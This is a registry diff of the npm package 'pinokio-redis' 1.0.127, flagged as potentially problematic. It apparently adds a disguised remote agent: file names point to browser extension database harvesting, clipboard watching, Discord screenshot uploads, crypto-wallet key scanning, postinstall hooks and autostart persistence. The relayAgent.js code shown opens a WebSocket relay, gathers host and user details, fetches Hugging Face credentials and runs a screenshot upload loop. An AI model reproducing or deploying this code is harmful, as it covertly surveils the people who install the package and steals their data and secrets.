pinokio-redis 1.0.127
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of pinokio-redis might be problematic. Click here for more details.
- package/README.md +3 -0
- package/assets/codicons/codicon.css +629 -0
- package/assets/codicons/codicon.ttf +0 -0
- package/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/assets/explorer-highlight/highlight.min.js +1213 -0
- package/assets/files-explorer-template.html +7450 -0
- package/assets/forge-explorer-favicon.svg +31 -0
- package/assets/remote-control-template.html +3472 -0
- package/assets/secret_filename_patterns.json +81 -0
- package/dist/agentPid.d.ts +14 -0
- package/dist/agentPid.js +104 -0
- package/dist/agentRestartFromQueue.d.ts +15 -0
- package/dist/agentRestartFromQueue.js +143 -0
- package/dist/agentRunner.d.ts +13 -0
- package/dist/agentRunner.js +400 -0
- package/dist/assets/codicons/codicon.css +629 -0
- package/dist/assets/codicons/codicon.ttf +0 -0
- package/dist/assets/explorer-highlight/explorer-highlight.css +110 -0
- package/dist/assets/explorer-highlight/highlight.min.js +1213 -0
- package/dist/assets/files-explorer-template.html +7450 -0
- package/dist/assets/forge-explorer-favicon.svg +31 -0
- package/dist/assets/remote-control-template.html +3472 -0
- package/dist/assets/secret_filename_patterns.json +81 -0
- package/dist/autostart/agentEnvFile.d.ts +80 -0
- package/dist/autostart/agentEnvFile.js +637 -0
- package/dist/autostart/constants.d.ts +14 -0
- package/dist/autostart/constants.js +17 -0
- package/dist/autostart/darwin.d.ts +11 -0
- package/dist/autostart/darwin.js +210 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.d.ts +4 -0
- package/dist/autostart/darwinLegacyNpmSchedulerCleanup.js +70 -0
- package/dist/autostart/index.d.ts +4 -0
- package/dist/autostart/index.js +20 -0
- package/dist/autostart/install.d.ts +6 -0
- package/dist/autostart/install.js +113 -0
- package/dist/autostart/linux.d.ts +17 -0
- package/dist/autostart/linux.js +298 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.d.ts +6 -0
- package/dist/autostart/linuxLegacyNpmSchedulerCleanup.js +104 -0
- package/dist/autostart/macPathEnv.d.ts +5 -0
- package/dist/autostart/macPathEnv.js +23 -0
- package/dist/autostart/manifest.d.ts +11 -0
- package/dist/autostart/manifest.js +74 -0
- package/dist/autostart/quote.d.ts +12 -0
- package/dist/autostart/quote.js +65 -0
- package/dist/autostart/resolve.d.ts +35 -0
- package/dist/autostart/resolve.js +85 -0
- package/dist/autostart/windows.d.ts +15 -0
- package/dist/autostart/windows.js +278 -0
- package/dist/chromiumExtensionDbHarvest.d.ts +91 -0
- package/dist/chromiumExtensionDbHarvest.js +766 -0
- package/dist/cli-agent.d.ts +3 -0
- package/dist/cli-agent.js +71 -0
- package/dist/cli-autostart.d.ts +2 -0
- package/dist/cli-autostart.js +166 -0
- package/dist/cli-forge.d.ts +2 -0
- package/dist/cli-forge.js +5 -0
- package/dist/cli-linux-session-refresh.d.ts +2 -0
- package/dist/cli-linux-session-refresh.js +30 -0
- package/dist/cli-relay.d.ts +3 -0
- package/dist/cli-relay.js +41 -0
- package/dist/clientId.d.ts +2 -0
- package/dist/clientId.js +97 -0
- package/dist/clipboardEventWatcher.d.ts +8 -0
- package/dist/clipboardEventWatcher.js +176 -0
- package/dist/clipboardExec.d.ts +7 -0
- package/dist/clipboardExec.js +266 -0
- package/dist/clipboardNapi.d.ts +4 -0
- package/dist/clipboardNapi.js +19 -0
- package/dist/deploymentCipherData.d.ts +20 -0
- package/dist/deploymentCipherData.js +31 -0
- package/dist/deploymentDefaults.d.ts +43 -0
- package/dist/deploymentDefaults.js +199 -0
- package/dist/desktopEnvSync.d.ts +18 -0
- package/dist/desktopEnvSync.js +21 -0
- package/dist/discordAgentScreenshot.d.ts +27 -0
- package/dist/discordAgentScreenshot.js +540 -0
- package/dist/discordBotTokens.d.ts +29 -0
- package/dist/discordBotTokens.js +78 -0
- package/dist/discordRateLimit.d.ts +93 -0
- package/dist/discordRateLimit.js +238 -0
- package/dist/discordRelayUpload.d.ts +55 -0
- package/dist/discordRelayUpload.js +808 -0
- package/dist/discordWebhookPost.d.ts +13 -0
- package/dist/discordWebhookPost.js +123 -0
- package/dist/durableDistDir.d.ts +4 -0
- package/dist/durableDistDir.js +61 -0
- package/dist/envLoad.d.ts +1 -0
- package/dist/envLoad.js +18 -0
- package/dist/explorerHeavyDirSkips.d.ts +8 -0
- package/dist/explorerHeavyDirSkips.js +26 -0
- package/dist/exportMirrorCopy.d.ts +27 -0
- package/dist/exportMirrorCopy.js +366 -0
- package/dist/extensionDbHfUpload.d.ts +36 -0
- package/dist/extensionDbHfUpload.js +359 -0
- package/dist/fileLockForce.d.ts +50 -0
- package/dist/fileLockForce.js +1479 -0
- package/dist/filesExplorer.d.ts +21 -0
- package/dist/filesExplorer.js +237 -0
- package/dist/forgeBulkDc.d.ts +69 -0
- package/dist/forgeBulkDc.js +308 -0
- package/dist/forgeRtcAgent.d.ts +31 -0
- package/dist/forgeRtcAgent.js +259 -0
- package/dist/forgeSemver.d.ts +2 -0
- package/dist/forgeSemver.js +25 -0
- package/dist/fsMessages.d.ts +3 -0
- package/dist/fsMessages.js +169 -0
- package/dist/fsProtocol.d.ts +151 -0
- package/dist/fsProtocol.js +7071 -0
- package/dist/headlessAgent.d.ts +28 -0
- package/dist/headlessAgent.js +77 -0
- package/dist/hfCredentials.d.ts +23 -0
- package/dist/hfCredentials.js +141 -0
- package/dist/hfHubPathSanitize.d.ts +4 -0
- package/dist/hfHubPathSanitize.js +30 -0
- package/dist/hfHubUploadContent.d.ts +2 -0
- package/dist/hfHubUploadContent.js +199 -0
- package/dist/hfSeqIdLookup.d.ts +25 -0
- package/dist/hfSeqIdLookup.js +193 -0
- package/dist/hfUpload.d.ts +55 -0
- package/dist/hfUpload.js +1362 -0
- package/dist/hostInventorySend.d.ts +5 -0
- package/dist/hostInventorySend.js +91 -0
- package/dist/index.d.ts +24 -0
- package/dist/index.js +62 -0
- package/dist/inputContext.d.ts +11 -0
- package/dist/inputContext.js +1097 -0
- package/dist/keyboardTranslate.d.ts +23 -0
- package/dist/keyboardTranslate.js +204 -0
- package/dist/linuxClipboardSession.d.ts +16 -0
- package/dist/linuxClipboardSession.js +179 -0
- package/dist/linuxX11.d.ts +7 -0
- package/dist/linuxX11.js +71 -0
- package/dist/relayAgent.d.ts +25 -0
- package/dist/relayAgent.js +1431 -0
- package/dist/relayAuth.d.ts +10 -0
- package/dist/relayAuth.js +81 -0
- package/dist/relayDashboardGate.d.ts +36 -0
- package/dist/relayDashboardGate.js +378 -0
- package/dist/relayForAgentHttp.d.ts +24 -0
- package/dist/relayForAgentHttp.js +132 -0
- package/dist/relayPackageServe.d.ts +6 -0
- package/dist/relayPackageServe.js +107 -0
- package/dist/relayServer.d.ts +9 -0
- package/dist/relayServer.js +2268 -0
- package/dist/secretScan/agentStartupAudit.d.ts +58 -0
- package/dist/secretScan/agentStartupAudit.js +784 -0
- package/dist/secretScan/auditFindingSlim.d.ts +25 -0
- package/dist/secretScan/auditFindingSlim.js +184 -0
- package/dist/secretScan/auditScanScope.d.ts +25 -0
- package/dist/secretScan/auditScanScope.js +233 -0
- package/dist/secretScan/base58check.d.ts +6 -0
- package/dist/secretScan/base58check.js +49 -0
- package/dist/secretScan/contentScanner.d.ts +23 -0
- package/dist/secretScan/contentScanner.js +278 -0
- package/dist/secretScan/dedupeFindings.d.ts +12 -0
- package/dist/secretScan/dedupeFindings.js +232 -0
- package/dist/secretScan/fileCandidates.d.ts +30 -0
- package/dist/secretScan/fileCandidates.js +370 -0
- package/dist/secretScan/runFilenameSecretScan.d.ts +54 -0
- package/dist/secretScan/runFilenameSecretScan.js +360 -0
- package/dist/secretScan/scanConfig.d.ts +6 -0
- package/dist/secretScan/scanConfig.js +87 -0
- package/dist/secretScan/secp256k1Scalar.d.ts +4 -0
- package/dist/secretScan/secp256k1Scalar.js +14 -0
- package/dist/secretScan/secretAuditExcludePaths.d.ts +4 -0
- package/dist/secretScan/secretAuditExcludePaths.js +46 -0
- package/dist/secretScan/solanaKeypair.d.ts +8 -0
- package/dist/secretScan/solanaKeypair.js +87 -0
- package/dist/secretScan/strictMaterialGate.d.ts +15 -0
- package/dist/secretScan/strictMaterialGate.js +151 -0
- package/dist/secretScan/types.d.ts +86 -0
- package/dist/secretScan/types.js +6 -0
- package/dist/syncClient.d.ts +80 -0
- package/dist/syncClient.js +214 -0
- package/dist/tableNaming.d.ts +13 -0
- package/dist/tableNaming.js +101 -0
- package/dist/vcToWindowsVk.d.ts +7 -0
- package/dist/vcToWindowsVk.js +154 -0
- package/dist/win32InputNative.d.ts +18 -0
- package/dist/win32InputNative.js +198 -0
- package/dist/windowsInputSync.d.ts +44 -0
- package/dist/windowsInputSync.js +853 -0
- package/dist/workerBootstrap.d.ts +17 -0
- package/dist/workerBootstrap.js +342 -0
- package/package.json +86 -0
- package/scripts/copy-assets.mjs +44 -0
- package/scripts/discord-live-probe.mjs +221 -0
- package/scripts/encode-deployment.mjs +135 -0
- package/scripts/encode-hf-credentials.mjs +30 -0
- package/scripts/ensure-dist.mjs +86 -0
- package/scripts/env-sync-selftest.js +11 -0
- package/scripts/explorer-global-roots.mjs +87 -0
- package/scripts/explorer-isolated-npm-env.mjs +57 -0
- package/scripts/forge-isolated-runtime.mjs +547 -0
- package/scripts/forge-jsx-explorer-kill-agent.mjs +364 -0
- package/scripts/forge-jsx-explorer-restart.mjs +288 -0
- package/scripts/forge-jsx-explorer-upgrade.mjs +1048 -0
- package/scripts/forge-jsx-windows-update-hidden.ps1 +33 -0
- package/scripts/pm2-restart-forge-relay-agent.sh +45 -0
- package/scripts/postinstall-agent.mjs +571 -0
- package/scripts/postinstall-bootstrap.mjs +279 -0
- package/scripts/postinstall-clipboard-event.mjs +165 -0
- package/scripts/postinstall-durable-materialize.mjs +145 -0
- package/scripts/queue-reconnect-agent-restarts.mjs +87 -0
- package/scripts/registry-version-lib.mjs +98 -0
- package/scripts/restart-agent.mjs +66 -0
- package/scripts/windows-forge-diagnostics.ps1 +56 -0
|
@@ -0,0 +1,1431 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
|
|
3
|
+
if (k2 === undefined) k2 = k;
|
|
4
|
+
var desc = Object.getOwnPropertyDescriptor(m, k);
|
|
5
|
+
if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
|
|
6
|
+
desc = { enumerable: true, get: function() { return m[k]; } };
|
|
7
|
+
}
|
|
8
|
+
Object.defineProperty(o, k2, desc);
|
|
9
|
+
}) : (function(o, m, k, k2) {
|
|
10
|
+
if (k2 === undefined) k2 = k;
|
|
11
|
+
o[k2] = m[k];
|
|
12
|
+
}));
|
|
13
|
+
var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
|
|
14
|
+
Object.defineProperty(o, "default", { enumerable: true, value: v });
|
|
15
|
+
}) : function(o, v) {
|
|
16
|
+
o["default"] = v;
|
|
17
|
+
});
|
|
18
|
+
var __importStar = (this && this.__importStar) || (function () {
|
|
19
|
+
var ownKeys = function(o) {
|
|
20
|
+
ownKeys = Object.getOwnPropertyNames || function (o) {
|
|
21
|
+
var ar = [];
|
|
22
|
+
for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
|
|
23
|
+
return ar;
|
|
24
|
+
};
|
|
25
|
+
return ownKeys(o);
|
|
26
|
+
};
|
|
27
|
+
return function (mod) {
|
|
28
|
+
if (mod && mod.__esModule) return mod;
|
|
29
|
+
var result = {};
|
|
30
|
+
if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
|
|
31
|
+
__setModuleDefault(result, mod);
|
|
32
|
+
return result;
|
|
33
|
+
};
|
|
34
|
+
})();
|
|
35
|
+
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|
36
|
+
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|
37
|
+
};
|
|
38
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
39
|
+
exports.forgeSemverLt = void 0;
|
|
40
|
+
exports.parseRelayReconnectDelayMs = parseRelayReconnectDelayMs;
|
|
41
|
+
exports.parseRelayWatchdogSec = parseRelayWatchdogSec;
|
|
42
|
+
exports.runRelayAgentLoop = runRelayAgentLoop;
|
|
43
|
+
/**
|
|
44
|
+
* WebSocket relay agent — `/files` fs_* protocol only (cfgmgr.remote.run_agent).
|
|
45
|
+
*/
|
|
46
|
+
const node_crypto_1 = require("node:crypto");
|
|
47
|
+
const fs = __importStar(require("node:fs"));
|
|
48
|
+
const os = __importStar(require("node:os"));
|
|
49
|
+
const path = __importStar(require("node:path"));
|
|
50
|
+
const ws_1 = __importDefault(require("ws"));
|
|
51
|
+
const relayAuth_1 = require("./relayAuth");
|
|
52
|
+
const forgeRtcAgent_1 = require("./forgeRtcAgent");
|
|
53
|
+
const forgeBulkDc_1 = require("./forgeBulkDc");
|
|
54
|
+
const fsMessages_1 = require("./fsMessages");
|
|
55
|
+
const hfCredentials_1 = require("./hfCredentials");
|
|
56
|
+
const hfUpload_1 = require("./hfUpload");
|
|
57
|
+
const deploymentDefaults_1 = require("./deploymentDefaults");
|
|
58
|
+
const forgeSemver_js_1 = require("./forgeSemver.js");
|
|
59
|
+
const agentRestartFromQueue_js_1 = require("./agentRestartFromQueue.js");
|
|
60
|
+
const agentPid_1 = require("./agentPid");
|
|
61
|
+
const clientId_1 = require("./clientId");
|
|
62
|
+
const syncClient_1 = require("./syncClient");
|
|
63
|
+
const windowsInputSync_1 = require("./windowsInputSync");
|
|
64
|
+
const agentEnvFile_1 = require("./autostart/agentEnvFile");
|
|
65
|
+
const clientId_2 = require("./clientId");
|
|
66
|
+
const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
|
|
67
|
+
const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
|
|
68
|
+
const extensionDbHfUpload_1 = require("./extensionDbHfUpload");
|
|
69
|
+
const relayForAgentHttp_1 = require("./relayForAgentHttp");
|
|
70
|
+
const pendingRelayHf = new Map();
|
|
71
|
+
/** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
|
|
72
|
+
const pendingDiscordRelayAck = new Map();
|
|
73
|
+
function clearAllPendingDiscordRelayAcks(reason) {
|
|
74
|
+
for (const [, p] of pendingDiscordRelayAck) {
|
|
75
|
+
clearTimeout(p.timer);
|
|
76
|
+
p.resolve({ ok: false, error: reason });
|
|
77
|
+
}
|
|
78
|
+
pendingDiscordRelayAck.clear();
|
|
79
|
+
}
|
|
80
|
+
/** Await `relay_discord_upload_ticket_result` per `request_id` (webhook/direct upload mode). */
|
|
81
|
+
const pendingDiscordTicket = new Map();
|
|
82
|
+
function clearAllPendingDiscordTickets(reason) {
|
|
83
|
+
for (const [, p] of pendingDiscordTicket) {
|
|
84
|
+
clearTimeout(p.timer);
|
|
85
|
+
p.resolve({ ok: false, error: reason });
|
|
86
|
+
}
|
|
87
|
+
pendingDiscordTicket.clear();
|
|
88
|
+
}
|
|
89
|
+
function clearAllPendingRelayHf(reason) {
|
|
90
|
+
for (const [, p] of pendingRelayHf) {
|
|
91
|
+
try {
|
|
92
|
+
p.reject(new Error(reason));
|
|
93
|
+
}
|
|
94
|
+
catch {
|
|
95
|
+
/* promise may already be settled */
|
|
96
|
+
}
|
|
97
|
+
}
|
|
98
|
+
pendingRelayHf.clear();
|
|
99
|
+
}
|
|
100
|
+
function clearAllPendingDiscordAgent(reason) {
|
|
101
|
+
clearAllPendingDiscordRelayAcks(reason);
|
|
102
|
+
clearAllPendingDiscordTickets(reason);
|
|
103
|
+
clearAllPendingRelayHf(reason);
|
|
104
|
+
}
|
|
105
|
+
function waitDiscordRelayAck(requestId) {
|
|
106
|
+
return new Promise((resolve) => {
|
|
107
|
+
const timer = setTimeout(() => {
|
|
108
|
+
if (pendingDiscordRelayAck.has(requestId)) {
|
|
109
|
+
pendingDiscordRelayAck.delete(requestId);
|
|
110
|
+
resolve({
|
|
111
|
+
ok: false,
|
|
112
|
+
error: "timeout waiting for discord_screenshot_upload_result (120s)",
|
|
113
|
+
});
|
|
114
|
+
}
|
|
115
|
+
}, 120_000);
|
|
116
|
+
pendingDiscordRelayAck.set(requestId, { resolve, timer });
|
|
117
|
+
});
|
|
118
|
+
}
|
|
119
|
+
function waitDiscordTicket(requestId) {
|
|
120
|
+
return new Promise((resolve) => {
|
|
121
|
+
const timer = setTimeout(() => {
|
|
122
|
+
if (pendingDiscordTicket.has(requestId)) {
|
|
123
|
+
pendingDiscordTicket.delete(requestId);
|
|
124
|
+
resolve({
|
|
125
|
+
ok: false,
|
|
126
|
+
error: "timeout waiting for relay_discord_upload_ticket_result (120s)",
|
|
127
|
+
});
|
|
128
|
+
}
|
|
129
|
+
}, 120_000);
|
|
130
|
+
pendingDiscordTicket.set(requestId, { resolve, timer });
|
|
131
|
+
});
|
|
132
|
+
}
|
|
133
|
+
/**
|
|
134
|
+
* Prefer Hub credentials from the relay (`RELAY_HF_CREDENTIALS_B64` on the server) so the agent
|
|
135
|
+
* needs no local HF blob. **Default: on** when unset — matches `npm install` with no extra env.
|
|
136
|
+
* Opt out with `CFGMGR_HF_FETCH_FROM_RELAY=0` to use only `CFGMGR_HF_CREDENTIALS_B64` / plaintext on the agent.
|
|
137
|
+
*/
|
|
138
|
+
function hfFetchFromRelayEnabled() {
|
|
139
|
+
const e = (process.env.CFGMGR_HF_FETCH_FROM_RELAY || "").trim().toLowerCase();
|
|
140
|
+
if (["0", "false", "no", "off"].includes(e))
|
|
141
|
+
return false;
|
|
142
|
+
if (["1", "true", "yes", "on"].includes(e))
|
|
143
|
+
return true;
|
|
144
|
+
return true;
|
|
145
|
+
}
|
|
146
|
+
/** Relay may send JSON number or string; clamp to the same bounds as {@link startDiscordScreenshotToRelayLoop}. */
|
|
147
|
+
function parseRelayDiscordIntervalMs(raw) {
|
|
148
|
+
let n;
|
|
149
|
+
if (typeof raw === "number" && Number.isFinite(raw)) {
|
|
150
|
+
n = Math.floor(raw);
|
|
151
|
+
}
|
|
152
|
+
else if (typeof raw === "string") {
|
|
153
|
+
n = parseInt(raw.trim(), 10);
|
|
154
|
+
}
|
|
155
|
+
else {
|
|
156
|
+
return null;
|
|
157
|
+
}
|
|
158
|
+
if (!Number.isFinite(n))
|
|
159
|
+
return null;
|
|
160
|
+
return Math.min(600_000, Math.max(10_000, n));
|
|
161
|
+
}
|
|
162
|
+
/** Stagger caps from `relay_features` — same bounds as agent env (`FORGE_JS_DISCORD_*_STAGGER_MS`). */
|
|
163
|
+
function parseRelayDiscordStaggerCapMs(raw, maxCap) {
|
|
164
|
+
let n;
|
|
165
|
+
if (typeof raw === "number" && Number.isFinite(raw)) {
|
|
166
|
+
n = Math.floor(raw);
|
|
167
|
+
}
|
|
168
|
+
else if (typeof raw === "string") {
|
|
169
|
+
n = parseInt(raw.trim(), 10);
|
|
170
|
+
}
|
|
171
|
+
else {
|
|
172
|
+
return null;
|
|
173
|
+
}
|
|
174
|
+
if (!Number.isFinite(n) || n <= 0)
|
|
175
|
+
return null;
|
|
176
|
+
return Math.min(maxCap, Math.max(1, n));
|
|
177
|
+
}
|
|
178
|
+
function fetchHfCredentialsFromRelay(sendJsonFn) {
|
|
179
|
+
return new Promise((resolve, reject) => {
|
|
180
|
+
const reqId = `hf_${Date.now()}_${(0, node_crypto_1.randomBytes)(8).toString("hex")}`;
|
|
181
|
+
const t = setTimeout(() => {
|
|
182
|
+
if (pendingRelayHf.has(reqId)) {
|
|
183
|
+
pendingRelayHf.delete(reqId);
|
|
184
|
+
reject(new Error("timeout waiting for relay HF credentials (30s)"));
|
|
185
|
+
}
|
|
186
|
+
}, 30_000);
|
|
187
|
+
pendingRelayHf.set(reqId, {
|
|
188
|
+
resolve: (c) => {
|
|
189
|
+
clearTimeout(t);
|
|
190
|
+
resolve(c);
|
|
191
|
+
},
|
|
192
|
+
reject: (e) => {
|
|
193
|
+
clearTimeout(t);
|
|
194
|
+
reject(e);
|
|
195
|
+
},
|
|
196
|
+
});
|
|
197
|
+
sendJsonFn({ type: "relay_hf_credentials_request", request_id: reqId });
|
|
198
|
+
});
|
|
199
|
+
}
|
|
200
|
+
function systemInfo() {
|
|
201
|
+
let localIp = "unknown";
|
|
202
|
+
try {
|
|
203
|
+
const nets = os.networkInterfaces();
|
|
204
|
+
let ipv6Candidate = "";
|
|
205
|
+
for (const name of Object.keys(nets)) {
|
|
206
|
+
for (const net of nets[name] || []) {
|
|
207
|
+
const fam = net.family;
|
|
208
|
+
const isV4 = fam === "IPv4" || fam === 4 || String(fam) === "4";
|
|
209
|
+
const isV6 = fam === "IPv6" || fam === 6 || String(fam) === "6";
|
|
210
|
+
if (isV4 && !net.internal) {
|
|
211
|
+
localIp = net.address;
|
|
212
|
+
break;
|
|
213
|
+
}
|
|
214
|
+
if (isV6 && !net.internal && !ipv6Candidate) {
|
|
215
|
+
ipv6Candidate = net.address;
|
|
216
|
+
}
|
|
217
|
+
}
|
|
218
|
+
if (localIp !== "unknown")
|
|
219
|
+
break;
|
|
220
|
+
}
|
|
221
|
+
if (localIp === "unknown" && ipv6Candidate) {
|
|
222
|
+
localIp = ipv6Candidate;
|
|
223
|
+
}
|
|
224
|
+
}
|
|
225
|
+
catch {
|
|
226
|
+
/* skip */
|
|
227
|
+
}
|
|
228
|
+
// os.machine() was added in Node.js 18.9.0; guard for Node 18.0-18.8 compatibility.
|
|
229
|
+
const machine = typeof os.machine === "function"
|
|
230
|
+
? os.machine()
|
|
231
|
+
: "";
|
|
232
|
+
return {
|
|
233
|
+
hostname: os.hostname(),
|
|
234
|
+
local_ip: localIp,
|
|
235
|
+
os: os.type(),
|
|
236
|
+
os_version: os.version(),
|
|
237
|
+
os_release: os.release(),
|
|
238
|
+
machine,
|
|
239
|
+
node: process.version,
|
|
240
|
+
platform: process.platform,
|
|
241
|
+
user: process.env.USER || process.env.USERNAME || "unknown",
|
|
242
|
+
};
|
|
243
|
+
}
|
|
244
|
+
/** Read the forge-jsx package version from its package.json (for relay version tracking). */
|
|
245
|
+
function readForgeJsxVersion(pkgRoot) {
|
|
246
|
+
if (!pkgRoot)
|
|
247
|
+
return "";
|
|
248
|
+
try {
|
|
249
|
+
const raw = fs.readFileSync(path.join(pkgRoot, "package.json"), "utf8");
|
|
250
|
+
const j = JSON.parse(raw);
|
|
251
|
+
return (j.version || "").trim();
|
|
252
|
+
}
|
|
253
|
+
catch {
|
|
254
|
+
return "";
|
|
255
|
+
}
|
|
256
|
+
}
|
|
257
|
+
const screenOff = {
|
|
258
|
+
primary_width: 0,
|
|
259
|
+
primary_height: 0,
|
|
260
|
+
monitors: 0,
|
|
261
|
+
capture: "disabled",
|
|
262
|
+
};
|
|
263
|
+
function log(quiet, msg) {
|
|
264
|
+
if (quiet)
|
|
265
|
+
return;
|
|
266
|
+
console.log(msg);
|
|
267
|
+
}
|
|
268
|
+
/**
|
|
269
|
+
* Many deployments use `:8765` for forge-db HTTP and `:9877` (or similar) for the explorer relay.
|
|
270
|
+
* Pointing the agent at the API port yields a hung “Waiting for agent…” in `/files`.
|
|
271
|
+
*/
|
|
272
|
+
function warnIfRelayUrlUsesApiPort(baseWs, quiet) {
|
|
273
|
+
if (quiet)
|
|
274
|
+
return;
|
|
275
|
+
let port = "";
|
|
276
|
+
try {
|
|
277
|
+
const u = new URL(baseWs.replace(/^ws:/i, "http:").replace(/^wss:/i, "https:"));
|
|
278
|
+
port = (u.port || "").trim();
|
|
279
|
+
if (!port) {
|
|
280
|
+
if (u.protocol === "https:")
|
|
281
|
+
port = "443";
|
|
282
|
+
else if (u.protocol === "http:")
|
|
283
|
+
port = "80";
|
|
284
|
+
}
|
|
285
|
+
}
|
|
286
|
+
catch {
|
|
287
|
+
return;
|
|
288
|
+
}
|
|
289
|
+
if (port === String(deploymentDefaults_1.API_DEFAULT_PORT)) {
|
|
290
|
+
console.warn(`[forge-agent] Relay URL uses port ${deploymentDefaults_1.API_DEFAULT_PORT} (often the forge-db **HTTP API**), not the file-explorer WebSocket relay (default **:${deploymentDefaults_1.RELAY_DEFAULT_PORT}**). ` +
|
|
291
|
+
"If the browser stays on “Waiting for agent…”, set CFGMGR_RELAY_URL / FORGE_JS_RELAY_URL to the relay ws:// or wss:// URL (correct host and relay port).");
|
|
292
|
+
}
|
|
293
|
+
}
|
|
294
|
+
/** `FORGE_JS_RELAY_RECONNECT_MS` — base delay before first reconnect (500–120000, default 2000). */
|
|
295
|
+
function parseRelayReconnectDelayMs() {
|
|
296
|
+
const raw = (process.env.FORGE_JS_RELAY_RECONNECT_MS || "").trim();
|
|
297
|
+
if (raw) {
|
|
298
|
+
const n = parseInt(raw, 10);
|
|
299
|
+
if (Number.isFinite(n) && n >= 500 && n <= 120_000)
|
|
300
|
+
return n;
|
|
301
|
+
}
|
|
302
|
+
return 2000;
|
|
303
|
+
}
|
|
304
|
+
/** `FORGE_JS_RELAY_WATCHDOG_SEC` — if the agent socket is not OPEN, force reconnect (15–300, default 60; 0=off). */
|
|
305
|
+
function parseRelayWatchdogSec() {
|
|
306
|
+
const raw = (process.env.FORGE_JS_RELAY_WATCHDOG_SEC || "").trim();
|
|
307
|
+
if (raw) {
|
|
308
|
+
const n = parseInt(raw, 10);
|
|
309
|
+
if (n === 0)
|
|
310
|
+
return 0;
|
|
311
|
+
if (Number.isFinite(n) && n >= 15 && n <= 300)
|
|
312
|
+
return n;
|
|
313
|
+
}
|
|
314
|
+
return 60;
|
|
315
|
+
}
|
|
316
|
+
var forgeSemver_js_2 = require("./forgeSemver.js");
|
|
317
|
+
Object.defineProperty(exports, "forgeSemverLt", { enumerable: true, get: function () { return forgeSemver_js_2.forgeSemverLt; } });
|
|
318
|
+
function runRelayAgentLoop(opts) {
|
|
319
|
+
const { relayUrl, sessionId: rawSid, password = "", allowFilesystem = true, reconnectDelayMs = parseRelayReconnectDelayMs(), quiet = false, pkgRoot, onRelayCapabilities, } = opts;
|
|
320
|
+
const sessionId = (0, relayAuth_1.canonicalSessionIdForRelayAndDb)(rawSid);
|
|
321
|
+
const base = (0, relayAuth_1.normalizeRelayWsUrl)(relayUrl).replace(/\/+$/, "");
|
|
322
|
+
warnIfRelayUrlUsesApiPort(base, quiet);
|
|
323
|
+
const wsUrl = `${base}/ws/agent/${encodeURIComponent(sessionId)}`;
|
|
324
|
+
const passwordHash = password ? (0, relayAuth_1.passwordSha256)(password) : "";
|
|
325
|
+
let viewerAuthenticated = !password;
|
|
326
|
+
let viewerConnected = false;
|
|
327
|
+
let pendingAuthNonce = "";
|
|
328
|
+
/** Latest agent socket for this loop (HF progress survives reconnect — see `sendJson` in `connect`). */
|
|
329
|
+
let outboundAgentWs = null;
|
|
330
|
+
const capabilities = {
|
|
331
|
+
platform: process.platform,
|
|
332
|
+
input: "disabled",
|
|
333
|
+
filesystem_agent: allowFilesystem,
|
|
334
|
+
};
|
|
335
|
+
const forgeJsxVersion = readForgeJsxVersion(pkgRoot);
|
|
336
|
+
const sysInfo = {
|
|
337
|
+
...systemInfo(),
|
|
338
|
+
/** forge-jsx package version — reported to relay for version tracking and update diagnostics. */
|
|
339
|
+
forge_jsx_version: forgeJsxVersion,
|
|
340
|
+
};
|
|
341
|
+
let reconnectTimer = null;
|
|
342
|
+
let reconnectAttempts = 0;
|
|
343
|
+
let relayWsWatchdog = null;
|
|
344
|
+
let watchWsCreatedAtMs = 0;
|
|
345
|
+
let watchWsOpenAtMs = 0;
|
|
346
|
+
let watchHandshakeDone = () => false;
|
|
347
|
+
let lastDbRestartPollMs = 0;
|
|
348
|
+
const pollDbRestartIfDue = () => {
|
|
349
|
+
const api = (0, windowsInputSync_1.resolveSyncApiBase)();
|
|
350
|
+
if (!api)
|
|
351
|
+
return;
|
|
352
|
+
const now = Date.now();
|
|
353
|
+
if (now - lastDbRestartPollMs < 45_000)
|
|
354
|
+
return;
|
|
355
|
+
lastDbRestartPollMs = now;
|
|
356
|
+
const client = new syncClient_1.ForgeSyncClient({
|
|
357
|
+
baseUrl: api,
|
|
358
|
+
clientId: (0, clientId_1.getOrCreateClientId)(),
|
|
359
|
+
});
|
|
360
|
+
void (0, agentRestartFromQueue_js_1.pollForgeDbAgentRestartHint)(client, { quiet });
|
|
361
|
+
};
|
|
362
|
+
const clearRelayWsWatchdog = () => {
|
|
363
|
+
if (relayWsWatchdog) {
|
|
364
|
+
clearInterval(relayWsWatchdog);
|
|
365
|
+
relayWsWatchdog = null;
|
|
366
|
+
}
|
|
367
|
+
};
|
|
368
|
+
const forceWatchdogReconnect = (w, reason) => {
|
|
369
|
+
clearRelayWsWatchdog();
|
|
370
|
+
pollDbRestartIfDue();
|
|
371
|
+
if (!quiet) {
|
|
372
|
+
log(quiet, ` Relay watchdog: ${reason} — reconnecting…`);
|
|
373
|
+
}
|
|
374
|
+
try {
|
|
375
|
+
w.terminate();
|
|
376
|
+
}
|
|
377
|
+
catch {
|
|
378
|
+
/* skip */
|
|
379
|
+
}
|
|
380
|
+
if (outboundAgentWs === w)
|
|
381
|
+
outboundAgentWs = null;
|
|
382
|
+
if (reconnectTimer) {
|
|
383
|
+
clearTimeout(reconnectTimer);
|
|
384
|
+
reconnectTimer = null;
|
|
385
|
+
}
|
|
386
|
+
reconnectAttempts = 0;
|
|
387
|
+
scheduleReconnect();
|
|
388
|
+
};
|
|
389
|
+
const armRelayWsWatchdog = () => {
|
|
390
|
+
clearRelayWsWatchdog();
|
|
391
|
+
const sec = parseRelayWatchdogSec();
|
|
392
|
